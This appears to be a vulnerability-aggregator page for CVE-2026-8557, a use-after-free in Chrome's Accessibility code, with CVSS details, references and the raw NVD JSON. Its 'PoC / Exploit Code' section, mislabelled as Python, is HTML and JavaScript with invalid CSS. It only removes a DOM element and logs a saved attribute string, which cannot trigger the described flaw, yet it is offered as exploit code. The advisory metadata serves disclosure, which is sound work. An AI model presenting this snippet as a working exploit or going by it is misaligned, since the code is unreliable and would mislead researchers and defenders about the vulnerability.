CVE-2026-8557

Description

Use after free in Accessibility in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform privilege escalation via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  Conceptual Proof of Concept for CVE-2026-8557
  This HTML page attempts to trigger the Use After Free in Accessibility.
  Note: Actual exploitation requires specific memory layout and heap grooming.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8557 PoC</title>
    <style>
        /* Ensure accessibility tree is populated */
        #target { aria-live: 'polite'; }
    </style>
</head>
<body>
    <div id="target">Exploit Content</div>
    <script>
        function trigger_vulnerability() {
            var elem = document.getElementById('target');
            
            // Step 1: Force Accessibility object creation
            var acc = elem.getAttribute('aria-live');
            
            // Step 2: Manipulate DOM to trigger potential free
            // In a real scenario, specific sequence of removing/adding attributes or nodes
            // would be used to confuse the Accessibility lifecycle management.
            elem.parentNode.removeChild(elem);
            
            // Step 3: Attempt access (Use After Free trigger)
            // This attempts to access the freed memory via the stale reference.
            try {
                console.log(acc.toString());
            } catch (e) {
                console.log("Crash or exception triggered: " + e);
            }
        }
        
        window.onload = trigger_vulnerability;
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8557
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8557
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8557/
[4] VulDB https://vuldb.com/cve/CVE-2026-8557
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/502978647

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8557", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:17.467", "lastModified": "2026-05-14T21:19:23.923", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Accessibility in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform privilege escalation via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/502978647", "source": "[email protected]"}]}}